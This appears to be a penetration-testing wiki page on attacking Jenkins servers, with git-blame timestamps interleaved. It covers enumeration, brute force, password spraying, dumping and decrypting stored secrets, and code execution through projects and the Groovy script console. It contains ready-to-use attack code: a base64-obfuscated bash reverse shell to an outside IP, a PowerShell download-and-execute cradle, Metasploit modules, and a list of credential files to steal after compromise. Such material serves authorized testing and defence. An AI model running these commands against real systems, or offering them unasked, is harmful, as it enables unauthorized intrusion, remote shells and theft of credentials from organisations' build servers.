2020-07-15 15:43:14 +00:00
# Jenkins
## Enumeration
2021-10-18 11:21:18 +00:00
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_ , this lists the current users) you can use:
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> use auxiliary/scanner/http/jenkins_enum
```
Check if you can execute commands without needing authentication:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> use auxiliary/scanner/http/jenkins_command
```
2020-12-28 11:25:19 +00:00
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames** .
2021-11-30 16:46:07 +00:00
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
2020-12-28 11:25:19 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 415 ) . png > )
2020-07-15 15:43:14 +00:00
2021-10-05 10:38:20 +00:00
## Login
2021-10-18 11:21:18 +00:00
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** \
2021-11-30 16:46:07 +00:00
****Also if **SSO** **functionality** /**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account** ). Trick from [**here** ](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/ ).
2021-10-05 10:38:20 +00:00
### Bruteforce
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**Jekins** does **not** implement any **password policy** or username **brute-force mitigation** . Then, you **should** always try to **brute-force** users because probably **weak passwords** are being used (even **usernames as passwords** or **reverse** usernames as passwords).
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> use auxiliary/scanner/http/jenkins_login
```
2022-02-17 11:03:34 +00:00
## Jenkins Abuses
### Known Vulnerabilities
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/gquere/pwn_jenkins" %}
2022-02-17 11:03:34 +00:00
### Dumping builds to find cleartext secrets
2020-07-15 15:43:14 +00:00
2022-02-17 11:03:34 +00:00
Use [this script ](https://github.com/gquere/pwn\_jenkins/blob/master/dump\_builds/jenkins\_dump\_builds.py ) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
2021-10-18 11:21:18 +00:00
2022-02-17 11:03:34 +00:00
### Password spraying
2020-07-15 15:43:14 +00:00
2022-02-17 11:03:34 +00:00
Use [this python script ](https://github.com/gquere/pwn\_jenkins/blob/master/password\_spraying/jenkins\_password\_spraying.py ) or [this powershell script ](https://github.com/chryzsh/JenkinsPasswordSpray ).
### Decrypt Jenkins secrets offline
Use [this script ](https://github.com/gquere/pwn\_jenkins/blob/master/offline\_decryption/jenkins\_offline\_decrypt.py ) to decrypt previsously dumped secrets.
### Decrypt Jenkins secrets from Groovy
2020-07-15 15:43:14 +00:00
2022-02-17 11:03:34 +00:00
```
println(hudson.util.Secret.decrypt("{...}"))
```
## Code Execution
2020-07-15 15:43:14 +00:00
### **Create a new project**
2021-10-18 11:21:18 +00:00
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
1. Create a new project (Freestyle project)
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_ ). Start the payload with _PowerShell.exe_ instead using _powershell._
2020-07-15 15:43:14 +00:00
3. Click **Build now**
2021-10-18 11:21:18 +00:00
****
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 158 ) . png > )
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
Or **try to access to the path **_** /configure**_ in each project (example: /_me/my-views/view/all/job/Project0/configure_).
2020-07-15 15:43:14 +00:00
If you are allowed to configure the project you can **make it execute commands when a build is successful** :
2021-10-18 11:21:18 +00:00
![](< .. / . . / . gitbook / assets / image ( 159 ) . png > )
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
Click on **Save** and **build** the project and your **command will be executed** .\
2020-07-15 15:43:14 +00:00
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build** .
### **Execute Groovy script**
Best way. Less noisy.
2021-11-30 16:46:07 +00:00
1. Go to _path\_jenkins/script_
2020-07-15 15:43:14 +00:00
2. Inside the text box introduce the script
```python
def process = "PowerShell.exe < WHATEVER > ".execute()
println "Found text ${process.text}"
```
You could execute a command using: `cmd.exe /c dir`
2021-11-30 16:46:07 +00:00
In **linux** you can do: ** `"ls /".execute().text` **
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
2020-07-15 15:43:14 +00:00
2021-11-30 16:46:07 +00:00
**Another useful groovy script** is (replace \[INSERT COMMAND]):
2020-07-15 15:43:14 +00:00
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
2020-12-29 18:26:52 +00:00
### Reverse shell in linux
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```
2020-07-15 15:43:14 +00:00
### Reverse shell in windows
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
```python
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc < BASE64 >
```
### MSF exploit
You can use MSF to get a reverse shell:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> use exploit/multi/http/jenkins_script_console
```
## POST
2022-02-17 11:03:34 +00:00
### Metasploit
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
msf> post/multi/gather/jenkins_gather
```
2022-02-17 11:03:34 +00:00
### Files to copy after compromission
These files are needed to decrypt Jenkins secrets:
* secrets/master.key
* secrets/hudson.util.Secret
Such secrets can usually be found in:
* credentials.xml
* jobs/.../build.xml
Here's a regexp to find them:
```
grep -re "^\s*< [a-zA-Z]*>{[a-zA-Z0-9=+/]*}< "
```
2020-07-15 15:43:14 +00:00
## References
2022-02-17 11:03:34 +00:00
{% embed url="https://github.com/gquere/pwn_jenkins" %}
2020-07-15 15:43:14 +00:00
{% embed url="https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/" %}
{% embed url="https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password" %}